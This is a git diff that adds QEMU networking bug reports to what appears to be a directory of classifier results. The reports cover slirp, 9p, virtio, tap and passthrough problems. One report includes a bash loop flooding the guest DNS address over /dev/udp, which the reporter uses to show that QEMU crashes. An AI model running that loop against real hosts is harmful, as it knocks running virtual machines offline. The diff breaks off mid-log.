diff options
Diffstat (limited to 'results/classifier/gemma3:12b/network')
386 files changed, 14066 insertions, 0 deletions
diff --git a/results/classifier/gemma3:12b/network/1009 b/results/classifier/gemma3:12b/network/1009 new file mode 100644 index 000000000..f247b24f7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1009 @@ -0,0 +1,24 @@ + +Nested KVM Networking Issue (OpenStack) +Description of problem: +Hi, + +Inside openstack i have an instance of Ubuntu 20.04 and i have installed KVM ( using virt-manager ) to setup a Virtual Machine ... i have done that and i created a VM of ubuntu 20.04 inside the Openstack Instance but there are networking issue while i set the default parameter as setting up the VM ( i mean the networking is as default to NAT ) , So when the VM is up and running the PING to 8.8.8.8 is available and also ping to google.com is also valid which shows that the DNS is correctly working ... but there is not connectivity with packages while i do sudo apt update, it will not get any package update and also the wget to google.com is shows that its connected to it but it wont able to download!!! the same happen with curl to any other websites... + + +I'm confirming that the openstack instance has full access to the internet including ping and wget , .... but the VM is not working correctly! + +P.S. I have set the ip forwarding, Iptables , ... also disabled firewals but notting changed!! + + +Would you please fix this ? +Steps to reproduce: +1. creating an openstack instance from ubuntu 20.04 server image +2. updating and upgrading packages setting ip forwarding to 1 ( Enabled), firewall +3. and kernel to 5.13.0.40 and installing virt-manager then reboot +3. creating a VM with default KVM networking ( NAT ) using ubuntu 20.04 server image +4. trying ping, wget, curl , ... + + +Thanks +Best regards diff --git a/results/classifier/gemma3:12b/network/1010 b/results/classifier/gemma3:12b/network/1010 new file mode 100644 index 000000000..111ea478c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1010 @@ -0,0 +1,79 @@ + +Errors on 9p mounts +Description of problem: +I'm trying to run Docker VMs with [Lima](https://github.com/lima-vm/lima), which uses QEMU. I'm trying to expose my home directory on macOS to the Ubuntu VM using `9p`. This is how the mount point looks like inside the Ubuntu VM: + +``` +root@lima-docker:~# mount | grep Users +mount0 on /Users/carlos type 9p (rw,relatime,dirsync,fscache,cachetag=4294894070,access=user,trans=virtio,version=9p2000.u) +root@lima-docker:~# +``` + +The problem I'm seeing is that doing an `ls -l /Users/carlos` gives a "Timer expired" error, and no output: + +``` +root@lima-docker:~# ls -l /Users/carlos +ls: reading directory '/Users/carlos': Timer expired +total 0 +``` + +Under `strace`, it seems that the timer error is raised by the `getdents64` system call: + +``` +root@lima-docker:~# strace -f ls -l /Users/carlos +[..] +openat(AT_FDCWD, "/Users/carlos", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 +newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=1984, ...}, AT_EMPTY_PATH) = 0 +mmap(NULL, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xffffa16bf000 +getdents64(3, 0xffffa16bf040, 131072) = -1 ETIME (Timer expired) +[..] +``` + +I've also tried the `9p2000.L` protocol instead, and the results are a bit better. I do get a directory listing, but I see "xxx" errors: + +``` +root@lima-docker:~# ls -l /Users/carlos +ls: /Users/carlos: Network dropped connection on reset +ls: /Users/carlos/Music: Network dropped connection on reset +ls: /Users/carlos/Pictures: Network dropped connection on reset +ls: /Users/carlos/Desktop: Network dropped connection on reset +ls: /Users/carlos/Library: Network dropped connection on reset +ls: /Users/carlos/Public: Network dropped connection on reset +ls: /Users/carlos/Movies: Network dropped connection on reset +ls: /Users/carlos/Applications: Network dropped connection on reset +ls: /Users/carlos/Dropbox: Network dropped connection on reset +ls: /Users/carlos/Maildir: Network dropped connection on reset +ls: /Users/carlos/Documents: Network dropped connection on reset +ls: /Users/carlos/Downloads: Network dropped connection on reset +total 0 +drwx------ 5 carlos dialout 160 Dec 6 10:31 Applications +drwx------ 4 carlos dialout 128 Apr 28 14:40 Desktop +drwx------ 12 carlos dialout 384 Apr 30 08:44 Documents +drwx------ 164 carlos dialout 5248 Apr 29 13:50 Downloads +drwx------ 8 carlos dialout 256 Sep 4 2021 Dropbox +drwx------ 82 carlos dialout 2624 Apr 8 14:05 Library +drwxr-xr-x 3 carlos dialout 96 Nov 12 12:28 Maildir +drwx------ 4 carlos dialout 128 Jul 19 2021 Movies +drwx------ 4 carlos dialout 128 Aug 19 2021 Music +drwx------ 4 carlos dialout 128 Jul 19 2021 Pictures +drwxr-xr-x 4 carlos dialout 128 Jul 19 2021 Public +``` + +The errors in this case seem to come from the `lgetxattr`system call: + +``` +root@lima-docker:~# strace -f ls -l /Users/carlos +[..] +statx(AT_FDCWD, "/Users/carlos/Downloads", AT_STATX_SYNC_AS_STAT|AT_SYMLINK_NOFOLLOW, STATX_MODE|STATX_NLINK|STATX_UID|STATX_GID|STATX_MTIME|STATX_SIZE, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFDIR|0700, stx_size=5248, ...}) = 0 +lgetxattr("/Users/carlos/Downloads", "security.selinux", 0xaaaaec72da70, 255) = -1 ENETRESET (Network dropped connection on reset) +write(2, "ls: ", 4ls: ) = 4 +write(2, "/Users/carlos/Downloads", 23/Users/carlos/Downloads) = 23 +write(2, ": Network dropped connection on "..., 37: Network dropped connection on reset) = 37 +[..] +``` + +I've reported this to the Lima folks at https://github.com/lima-vm/lima/issues/831, and they suggested opening an issue here. Any ideas? +Steps to reproduce: +1. If you have Lima installed (I'm using version 0.10.0): `limactl start --name=docker ./lima-templates/docker.yaml` +Additional information: + diff --git a/results/classifier/gemma3:12b/network/1010484 b/results/classifier/gemma3:12b/network/1010484 new file mode 100644 index 000000000..cd9991659 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1010484 @@ -0,0 +1,7 @@ + +slirp to accept non-local dns server + +current version of slirp doesn't allow feeded dns address to be outside of given network. +in many scenarios you need to provide dns server that isn't local. + +this simple patch removes checking for if dns server isn't in local subnet. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1019 b/results/classifier/gemma3:12b/network/1019 new file mode 100644 index 000000000..235ff642b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1019 @@ -0,0 +1,14 @@ + +Cannot create a shared directory between Ubuntu 20.04 host and (sparc) NetBSD 8.2 guest +Description of problem: +I am currently trying to set up a shared directory between the Ubuntu 20.04 LTS host and the QEMU guest. However, the error messages that I receive from QEMU immediately are the following, but unfortunately I don't know the proper way to do this given the host and guest OS. +``` +qemu-system-sparc: warning: hub port hub0port1 has no peer +qemu-system-sparc: warning: hub 0 with no nics +qemu-system-sparc: warning: netdev hub0port1 has no peer +qemu-system-sparc: warning: requested NIC (#net276, model virtio) was not created (not supported by this machine?) +``` +Steps to reproduce: +1. Installed `samba` on the host with `sudo apt install samba` +2. Created `/home/rflint/shared_dir` on the host +3. Ran the command indicated at the top of the page. diff --git a/results/classifier/gemma3:12b/network/1035042 b/results/classifier/gemma3:12b/network/1035042 new file mode 100644 index 000000000..74a704341 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1035042 @@ -0,0 +1,14 @@ + +Inconsistency in x509-dh-key-file parameter + +Hello, + +At source it is x509-dh-file, at config[2] it is x509-dh-key-file, at man[3] it is also x509-dh-key-file. + +I guess that [1] is not correct? + +Thanks! + +[1] http://git.qemu.org/?p=qemu.git;a=blob;f=ui/spice-core.c;h=4fc48f89026944fa91c4be349436041e97fc8654;hb=HEAD#l615 +[2] http://git.qemu.org/?p=qemu.git;a=blob;f=qemu-config.c;h=5c3296b8c6f0ec85201579f9a5f4e085adc33314;hb=HEAD#l498 +[3] http://git.qemu.org/?p=qemu.git;a=blob;f=qemu-options.hx;h=5e7d0dc035978945e692efe3ef063b6a69e73b29;hb=HEAD#l888 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1036363 b/results/classifier/gemma3:12b/network/1036363 new file mode 100644 index 000000000..2a8251550 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1036363 @@ -0,0 +1,40 @@ + +Major network performance problems on AMD hardware + +Hi, + +I am experiencing some major performance problems with all of our beefy AMD Opteron 6274 servers running Fedora 17 (kernel 3.4.4-5.fc17.x86_64, qemu 1.0-17). The network performance between host and the virtual machine is terrible: + +# iperf -c 10.10.11.22 -r +------------------------------------------------------------ +Server listening on TCP port 5001 +TCP window size: 85.3 KByte (default) +------------------------------------------------------------ +------------------------------------------------------------ +Client connecting to 10.10.11.22, TCP port 5001 +TCP window size: 197 KByte (default) +------------------------------------------------------------ +[ 5] local 10.10.11.199 port 44192 connected with 10.10.11.22 port 5001 +[ ID] Interval Transfer Bandwidth +[ 5] 0.0-10.0 sec 2.45 GBytes 2.11 Gbits/sec +[ 4] local 10.10.11.199 port 5001 connected with 10.10.11.22 port 42601 +[ 4] 0.0-10.0 sec 8.97 GBytes 7.71 Gbits/sec + +So the VM's receive is super slow. I would be happy with 7.71 Gbps because it's closer to matching the speed of the 10G ethernet adapters but the iSCSI drive's write performance is few times faster than read. Now running a similar test on the slowest machine I have, Intel core i3 I see this: + +# iperf -c 192.168.7.60 -r +------------------------------------------------------------ +Server listening on TCP port 5001 +TCP window size: 85.3 KByte (default) +------------------------------------------------------------ +------------------------------------------------------------ +Client connecting to 192.168.7.60, TCP port 5001 +TCP window size: 306 KByte (default) +------------------------------------------------------------ +[ 5] local 192.168.7.98 port 53992 connected with 192.168.7.60 port 5001 +[ ID] Interval Transfer Bandwidth +[ 5] 0.0-10.0 sec 22.5 GBytes 19.3 Gbits/sec +[ 4] local 192.168.7.98 port 5001 connected with 192.168.7.60 port 53339 +[ 4] 0.0-10.0 sec 25.1 GBytes 21.5 Gbits/sec + +As you can image this is a huge difference in network IO. Most setups are identical down to the same versions. Vhost-net is enabled and it appears to use MSI-X on the VM. I've tried all kinds of settings and while they improve performance a little I feel it's just masking a bigger problem. All 12 of my AMD servers have this issue and it appears I'm not the only one complaining. Any help would be appreciated. Thanks. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1050823 b/results/classifier/gemma3:12b/network/1050823 new file mode 100644 index 000000000..07217d257 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1050823 @@ -0,0 +1,18 @@ + +segmentation fault when using usb-net and -netdev tap + +The following command causes a Segmentation fault: + +qemu-kvm -usb -device usb-net,netdev=net0 -netdev tap,id=net0 +Segmentation fault + +The following command does not: + +qemu-kvm -usb -device usb-net,netdev=net0 -netdev user,id=net0 + +Program received signal SIGSEGV, Segmentation fault. +usbnet_can_receive (nc=0x55555657dc20) + at /home/pbonzini/work/upstream/qemu/hw/usb/dev-network.c:1292 +1292 if (is_rndis(s) && s->rndis_state != RNDIS_DATA_INITIALIZED) { + +First reported at https://bugzilla.redhat.com/show_bug.cgi?id=843310 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1054180 b/results/classifier/gemma3:12b/network/1054180 new file mode 100644 index 000000000..8cc7805ad --- /dev/null +++ b/results/classifier/gemma3:12b/network/1054180 @@ -0,0 +1,17 @@ + +DNS activity in slirp (user networking) mode quickly depletes file descriptors and crashes qemu + +Hi, we have encountered quite some trouble with filedescriptor depletion of the qemu process. We have figured out that it can be demonstrated easily by doing a lot of DNS queries inside the VM -- in our real world scenario this is caused by running centos network install with a fast mirror. + +This situation is further problematic because qemu can't handle fd depletion very well: +1) if ulimit is 1024 then qemu hangs in infinite loop whenever it tries to open the 1025th fd +2) setting ulimit >1024 does not help that much because qemu uses select and max. fd set size is 1024 per default => qemu crashes because of buffer overflow in select() +3) setting ulimit > 1024 AND recompiling with large enough fd set size AND disabling gcc's fortify source seems to work, but that's really just a hot-fix + +The problem can be replicated quite easily by running something like + +while :; do echo >/dev/udp/10.0.2.3/53; done + +inside a Linux VM -- crash comes very soon. + +This problem is present in current qemu (1.2.0) and in earlier as well. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1061778 b/results/classifier/gemma3:12b/network/1061778 new file mode 100644 index 000000000..4faec5e58 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1061778 @@ -0,0 +1,10 @@ + +signal mask not reset on exec + +Seen in qemu-1.0 under 12.04, but AFAICT from current git it hasn't changed. + +./main-loop.c:qemu_signal_init blocks SIGALRM so it can be handled via signalfd. + +./net/tap.c:launch_script does not reset the signal mask before the execv() call, and signal masks are inherited. So the script is run with SIGALRM blocked (as can be seen in /proc/$$/status, "SigBlk: 0000000000002000"). One reasonable example of where this bites is an interface up script that calls ping with a timeout to give things a chance to settle down before continuing, but abort if this doesn't happen within a reasonable time). Since ping uses SIGALRM for the timeout, this now never terminates. + +qemu-0.14 didn't block SIGALRM, so such scripts worked fine there. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1064 b/results/classifier/gemma3:12b/network/1064 new file mode 100644 index 000000000..63d3a0483 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1064 @@ -0,0 +1,44 @@ + +aarch64:qemu6.2.0 compile error +Description of problem: + +Steps to reproduce: +1. download qemu source package +`wget http://mirrors.163.com/centos-vault/centos/8-stream/AppStream/Source/SPackages/qemu-kvm-6.2.0-12.module_el8.7.0%2b1140%2bff0772f9.src.rpm` +2. install qemu source package +`rpm -ivh qemu-*.rpm` +3. build qemu +` rpmbuild --define "_topdir /xxx/src_qemu6.2.0" -bb SPECS/qemu-kvm.spec` +4. error message: +``` +In function 'dump_receive_iov', + inlined from 'filter_dump_receive_iov' at ../net/dump.c:157:5: +../net/dump.c:89:9: error: 'writev' specified size 18446744073709551600 exceeds maximum object size 9223372036854775807 [-Werror=stringop-overflow=] + 89 | if (writev(s->fd, dumpiov, cnt + 1) != sizeof(hdr) + caplen) { + | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +In file included from /home/xxx/src_qemu6.2.0/BUILD/qemu-kvm-6.2.0/include/qemu/osdep.h:108, + from ../net/dump.c:25: +../net/dump.c: In function 'filter_dump_receive_iov': +/usr/include/sys/uio.h:52:16: note: in a call to function 'writev' declared with attribute 'read_only (2, 3)' + 52 | extern ssize_t writev (int __fd, const struct iovec *__iovec, int __count) + | ^~~~~~ +cc1: all warnings being treated as errors +``` +**gcc version** +``` +# gcc --version +gcc (GCC) 10.3.1 +Copyright (C) 2020 Free Software Foundation, Inc. +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +``` +``` +[root]# meson -v +0.62.1 +[root]# ninja -v +ninja: error: loading 'build.ninja': No such file or directory +[root@vm77 src_qemu6.2.0]# ninja --version +1.8.2 +``` +Additional information: + diff --git a/results/classifier/gemma3:12b/network/1066055 b/results/classifier/gemma3:12b/network/1066055 new file mode 100644 index 000000000..d09abada0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1066055 @@ -0,0 +1,20 @@ + +Network performance regression with vde_switch + +I've noticed a significant network performance regression when using vde_switch, starting about one week ago (10/05/2012); before that date, I used to get about 1.5 Gbits host to guest, but now I can only get about 320 Mbits; I didn't find any modification in net/vde.*, just in hw/virtio*. + +My command line: + qemu-system-i386 -cdrom /bpd/bpd.iso -m 512 -boot d -enable-kvm \ + -localtime -ctrl-grab -usbdevice tablet \ + -device virtio-net-pci,mac=52:54:00:18:01:01,netdev=vde0,tx=bh,ioeventfd=on,x-txburst=32 \ + -netdev vde,id=vde0 -vga std -tb-size 2M -cpu host -clock unix + +My host runs a kernel 3.6.1 and my guest runs a kernel 3.5.4; the same problem happens with other host and guest versions, too. + +I know there are better ways of running a guest, but using vde I get a cleaner environment in the host (just one tun/tap interface to manage...), which is quite good when running some accademic experiments. + +Interestingly, at the same time I've noticed a performance enhancement of about 25~30 % when using a tun/tap interface, bridged or not. + +Thank you, very much. + +Edivaldo de Araujo Pereira \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1067 b/results/classifier/gemma3:12b/network/1067 new file mode 100644 index 000000000..82e278cc8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1067 @@ -0,0 +1,85 @@ + +SSH QEMU ISSUE by using with MacOs +Description of problem: +ssh connection between Qemu Image and Guest Host (MacOS) broken down after few minutes +Steps to reproduce: +1. Take the Qemu window and external ssh connection to backround, \ + wait until few minutes and the connection are frozen. \ + If we clicking to qemu window again, the ssh connection are available +Additional information: +The ssh connection settings by Macos: \ +Host * \ +AddKeysToAgent yes \ +IdentityFile ~/.ssh/id_rsa \ +IdentitiesOnly yes \ +ServerAliveInterval 3600 \ +TCPKeepAlive yes \ +ServerAliveCountMax 2 \ +\ +\ +SSH connection settings by Ubuntu Server: + +Include /etc/ssh/sshd_config.d/*.conf \ +\ +#Port 22 \ +#AddressFamily any \ +#ListenAddress 0.0.0.0 \ +#ListenAddress :: \ +#HostKey /etc/ssh/ssh_host_rsa_key \ +#HostKey /etc/ssh/ssh_host_ecdsa_key \ +#HostKey /etc/ssh/ssh_host_ed25519_key \ +#RekeyLimit default none \ +#SyslogFacility AUTH \ +#LogLevel INFO \ +#LoginGraceTime 2m \ +#PermitRootLogin prohibit-password \ +#StrictModes yes \ +#MaxAuthTries 6 \ +#MaxSessions 10 \ +#PubkeyAuthentication yes \ +#Expect .ssh/authorized_keys2 to be disregarded by default in future. \ +#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 \ +#AuthorizedPrincipalsFile none \ +#AuthorizedKeysCommand none \ +#AuthorizedKeysCommandUser nobody \ +#HostbasedAuthentication no \ +#IgnoreUserKnownHosts no \ +#IgnoreRhosts yes \ +#PasswordAuthentication yes \ +#PermitEmptyPasswords no \ +ChallengeResponseAuthentication no \ +#KerberosAuthentication no \ +#KerberosOrLocalPasswd yes \ +#KerberosTicketCleanup yes \ +#KerberosGetAFSToken no \ +#GSSAPIAuthentication no \ +#GSSAPICleanupCredentials yes \ +#GSSAPIStrictAcceptorCheck yes \ +#GSSAPIKeyExchange no \ +UsePAM yes \ +#AllowAgentForwarding yes \ +#AllowTcpForwarding yes \ +#GatewayPorts no \ +X11Forwarding yes \ +#X11DisplayOffset 10 \ +#X11UseLocalhost yes \ +#PermitTTY yes \ +PrintMotd no \ +#PrintLastLog yes \ +#TCPKeepAlive yes \ +#PermitUserEnvironment no \ +#Compression delayed \ +#ClientAliveInterval 0 \ +#ClientAliveCountMax 3 \ +#UseDNS no \ +#PidFile /var/run/sshd.pid \ +#MaxStartups 10:30:100 \ +#PermitTunnel no \ +#ChrootDirectory none \ +#VersionAddendum none \ +#Banner none \ +AcceptEnv LANG LC_* \ +PasswordAuthentication yes \ +ClientAliveInterval 600 \ +TCPKeepAlive yes \ +ClientAliveCountMax 10 \ diff --git a/results/classifier/gemma3:12b/network/1071 b/results/classifier/gemma3:12b/network/1071 new file mode 100644 index 000000000..70d6fdaa5 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1071 @@ -0,0 +1,13 @@ + +Cannot passthrough two network devices (Mellanox ConnectX-3) to VM. +Description of problem: +Cannot passthrough two network devices (Mellanox ConnectX-3) to VM. + +It generated me an error: +[ 6322.674602] genirq: Flags mismatch irq 16. 00000000 (vfio-intx(0000:05:00.0)) vs. 00000000 (vfio-intx(0000:88:00.0)) + +Passthrough only one device to VM goes well. +Steps to reproduce: +1. Add a first passthrough network device. +2. Add a second passthrough network device. +3. Run VM. diff --git a/results/classifier/gemma3:12b/network/1079713 b/results/classifier/gemma3:12b/network/1079713 new file mode 100644 index 000000000..8c401fcfa --- /dev/null +++ b/results/classifier/gemma3:12b/network/1079713 @@ -0,0 +1,76 @@ + +failed to set sndbuf on VMs network interface + +I am trying to set "sndbuf" for a VMs network device to "0". +I inserted to my XML file: + <tune> + <sndbuf>0</sndbuf> + </tune> +The XML file validates, but I am not able to start the virtual machine. + +# virsh edit vm3 +<domain type='kvm'> + <name>vm3</name> + <uuid><HIDDEN></uuid> + <memory unit='KiB'>524288</memory> + <currentMemory unit='KiB'>524288</currentMemory> + <vcpu placement='static'>1</vcpu> + <os> + <type arch='x86_64' machine='pc-1.2'>hvm</type> + <boot dev='hd'/> + </os> + <features> + <acpi/> + <apic/> + <pae/> + </features> + <clock offset='utc'/> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>restart</on_crash> + <devices> + <emulator>/usr/bin/kvm</emulator> + <disk type='file' device='disk'> + <driver name='qemu' type='qcow2'/> + <source file='<HIDDEN>'/> + <target dev='vda' bus='virtio'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x0'/> + </disk> + <controller type='usb' index='0'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x2'/> + </controller> + <interface type='bridge'> + <mac address='<HIDDEN>'/> + <source bridge='br2'/> + <model type='virtio'/> + <tune> + <sndbuf>0</sndbuf> + </tune> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/> + </interface> + <serial type='pty'> + <target port='0'/> + </serial> + <console type='pty'> + <target type='serial' port='0'/> + </console> + <input type='mouse' bus='ps2'/> + <graphics type='vnc' port='-1' autoport='yes'/> + <sound model='ich6'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x04' function='0x0'/> + </sound> + <video> + <model type='cirrus' vram='9216' heads='1'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/> + </video> + <memballoon model='virtio'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x06' function='0x0'/> + </memballoon> + </devices> +</domain> + +Domain vm3 XML configuration edited. + +# LANG=en_US.utf-8 virsh start vm3 +error: Failed to start domain vm3 +error: internal error Process exited while reading console log output: char device redirected to /dev/pts/4 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1089006 b/results/classifier/gemma3:12b/network/1089006 new file mode 100644 index 000000000..15b39558c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1089006 @@ -0,0 +1,12 @@ + +Qemu scrambles order of eth devices in vm + +HV = 12.04 LTS plus libvirt 1.0x +VM = 12.04 LTS + +On the HV there are 12 eth interfaces which we make available to the VM. We have 4 10G virtual function interfaces, and 8 1G conventionally bridged interfaces. No matter what order we present the interfaces in the xml file, they come up in eth0-eth11 order on the VM as follows: ( the interfcaes do work, once you figure out which is which) + +eth0-eth7 not in order as compoared to the bridges on the HV (interfaces file) or compared to the xml file for the VM, or compared to the bus numbers. MAC addresses are random. +eth8-eth11 show up in the VM in order of PCU bus numbers just as you'd expect, always after the bridged interfaces. + +Consulting the libvirt mailing list, the developer says they present the list in bus order to qemu, but qemu scrambles that order. That appears to me too, to be the case. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/111 b/results/classifier/gemma3:12b/network/111 new file mode 100644 index 000000000..b36921815 --- /dev/null +++ b/results/classifier/gemma3:12b/network/111 @@ -0,0 +1,2 @@ + +[OSS-Fuzz] Assertion Failure: !in6_zero(&ip_addr) diff --git a/results/classifier/gemma3:12b/network/1119281 b/results/classifier/gemma3:12b/network/1119281 new file mode 100644 index 000000000..5a46af04c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1119281 @@ -0,0 +1,36 @@ + +The virtio network device breaks UuidCreateSequential() + +UuidCreateSequential() usually creates version 1 UUIDs (1) which means they contain the main network card's MAC address. However when using a virtio network card and driver the UUIDs contain random data instead of the guest's MAC address. Changing the network card to either the default rtl8139 one or the e1000 one fixes the issue. + +Here is the software I have tested this with: + * qemu 1.1.2+dfsg-5 and 1.4.0~rc0+dfsg-1exp (from Debian Testing and Experimental respectively) + * The 0.1-49 and 0.1-52 Windows virtio drivers from https://alt.fedoraproject.org/pub/alt/virtio-win/latest/images/bin/ + * Both a 32-bit Windows XP guest and a 64-bit Windows 7 one. + + +Here is how to test for this issue: +* Set up a Windows guest with a single network card(2), a virtio one and install the corresponding driver. + +* Boot the guest and copy the uuidtest.exe file (see attachement) to it + +* On the command line, type 'ipconfig /all'. Give you the correct network card's MAC address on a line like the one below: + + Physical Address. . . . . . . . . : 52-54-00-C7-0E-97 + +* Run uuidtest.exe. It will show the VM returning a UUID with the wrong MAC address, and quite possibly even a multicast MAC address! (3). In the example below 'f75292c62787' should have been the MAC address. Note that on Windows XP UuidCreateSequential() returns RPC_S_UUID_LOCAL_ONLY for virtio cards but that on Windows 7 it returns 0. + + UuidCreateSequential() returned 0 + uuid={56e1ffe4-71d8-11e2-b1cc-f75292c62787} + Got a version 1 UUID + The UUID does not contain a non-multicast MAC address + +* Reboot and notice uuidtest.exe now reports a different value where the MAC address should be. + +* Shut down the VM and switch the network card to rtl8139, install the drivers, run uuidtest.exe and notice that the last group of digits finally contains the correct MAC address. + + +(1) https://en.wikipedia.org/wiki/Globally_unique_identifier#Algorithm +(2) Best do it with a single card to avoid confusion over which is the primary one. +(3) If the first byte of the address is odd then this is a multicast address. + https://en.wikipedia.org/wiki/MAC_address#Address_details \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/113 b/results/classifier/gemma3:12b/network/113 new file mode 100644 index 000000000..95e0d2841 --- /dev/null +++ b/results/classifier/gemma3:12b/network/113 @@ -0,0 +1,2 @@ + +missing manpage for bridge.conf diff --git a/results/classifier/gemma3:12b/network/1150 b/results/classifier/gemma3:12b/network/1150 new file mode 100644 index 000000000..2348f365a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1150 @@ -0,0 +1,85 @@ + +guest Linux Kernel hangs and reports CPU lockup/stuck (Qemu >= 6.0.1 regression) +Description of problem: +Since at least [qemu-6.0.1](https://download.qemu.org/qemu-6.0.1.tar.xz) my VM guest is having CPU problems. It looks like [qemu-6.0.0](https://download.qemu.org/qemu-6.0.0.tar.xz) is fine, but I can't confirm this 100 %. + +Problem: The guest hangs for about 30 seconds and dmesg reports errors. + +<details> +<summary>dmesg</summary> + +``` +[ 310.791732] watchdog: BUG: soft lockup - CPU#1 stuck for 25s! [swapper/1:0] +[ 310.791753] Modules linked in: ipt_REJECT nf_reject_ipv4 xt_tcpudp xt_state xt_conntrack nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 libcrc32c iptable_filter bpfilter af_packet iscsi_ibft iscsi_boot_sysfs rfkill dm_crypt essiv authenc pktcdvd intel_rapl_msr intel_rapl_common kvm_intel kvm cirrus drm_kms_helper irqbypass cec pcspkr joydev rc_core syscopyarea sysfillrect sysimgblt virtio_balloon fb_sys_fops i2c_piix4 button nls_iso8859_1 nls_cp437 vfat fat drm fuse configfs ip_tables x_tables ext4 crc16 mbcache jbd2 hid_generic usbhid sd_mod t10_pi virtio_scsi virtio_net net_failover virtio_blk failover sr_mod cdrom ata_generic crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel crypto_simd xhci_pci xhci_pci_renesas xhci_hcd cryptd serio_raw ehci_pci uhci_hcd ehci_hcd usbcore ata_piix ahci libahci virtio_pci virtio_pci_modern_dev libata floppy qemu_fw_cfg dm_mirror dm_region_hash dm_log dm_mod sg scsi_mod +[ 310.792102] Supported: Yes +[ 310.792108] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 5.14.21-150400.22-default #1 SLE15-SP4 0b6a6578ade2de5c4a0b916095dff44f76ef1704 +[ 310.792121] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 +[ 310.792127] RIP: 0010:__do_softirq+0x6e/0x2bc +[ 310.792146] Code: 8b 70 2c 81 60 2c ff f7 ff ff 89 74 24 14 c7 44 24 10 0a 00 00 00 48 c7 c0 c0 30 03 00 65 66 c7 00 00 00 fb 66 0f 1f 44 00 00 <bb> ff ff ff ff 41 0f bc de 83 c3 01 89 1c 24 0f 84 92 00 00 00 49 +[ 310.792154] RSP: 0018:ffffb9a8c00d0f98 EFLAGS: 00000206 +[ 310.792163] RAX: 00000000000330c0 RBX: ffffb9a8c0093e18 RCX: 0000000034b47837 +[ 310.792169] RDX: ffff9835c02dd100 RSI: 0000000004200042 RDI: 0000000000000040 +[ 310.792175] RBP: 0000000000000022 R08: ffffb9a8c0093e18 R09: 0000000000000001 +[ 310.792180] R10: 0000000000000002 R11: 0000000000000283 R12: 0000000000000001 +[ 310.792185] R13: 0000000000000000 R14: 0000000000000040 R15: 0000000000000000 +[ 310.792191] FS: 0000000000000000(0000) GS:ffff9836f7d00000(0000) knlGS:0000000000000000 +[ 310.792197] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 310.792203] CR2: 000055ed8cffbaf8 CR3: 00000001025c0001 CR4: 0000000000170ee0 +[ 310.792216] Call Trace: +[ 310.792247] <IRQ> +[ 310.792284] irq_exit_rcu+0x9c/0xc0 +[ 310.792305] common_interrupt+0x5d/0xa0 +[ 310.792331] </IRQ> +[ 310.792335] <TASK> +[ 310.792339] asm_common_interrupt+0x1e/0x40 +[ 310.792358] RIP: 0010:native_safe_halt+0xb/0x10 +[ 310.792368] Code: f0 80 48 02 20 48 8b 00 a8 08 74 82 eb c1 cc eb 07 0f 00 2d 89 f3 5f 00 f4 c3 0f 1f 44 00 00 eb 07 0f 00 2d 79 f3 5f 00 fb f4 <c3> cc cc cc cc 0f 1f 44 00 00 65 8b 15 14 ee 60 69 0f 1f 44 00 00 +[ 310.792375] RSP: 0018:ffffb9a8c0093ec8 EFLAGS: 00000212 +[ 310.792382] RAX: ffffffff96a0ca50 RBX: 0000000000000001 RCX: ffff9835c49c3700 +[ 310.792387] RDX: 00000000001df31e RSI: 0000000000000000 RDI: ffff9835c02a8000 +[ 310.792392] RBP: ffffffff97d47120 R08: 00000000001df31e R09: 0000000000029800 +[ 310.792397] R10: ffffb9a8c164bbe0 R11: 0000000000000198 R12: 0000000000000000 +[ 310.792402] R13: 0000000000000000 R14: ffffffffffffffff R15: ffff9835c02a8000 +[ 310.792409] ? __sched_text_end+0x5/0x5 +[ 310.792425] default_idle+0xa/0x10 +[ 310.792434] default_idle_call+0x2d/0xe0 +[ 310.792441] do_idle+0x1ec/0x2d0 +[ 310.792452] cpu_startup_entry+0x19/0x20 +[ 310.792460] start_secondary+0x11c/0x160 +[ 310.792475] 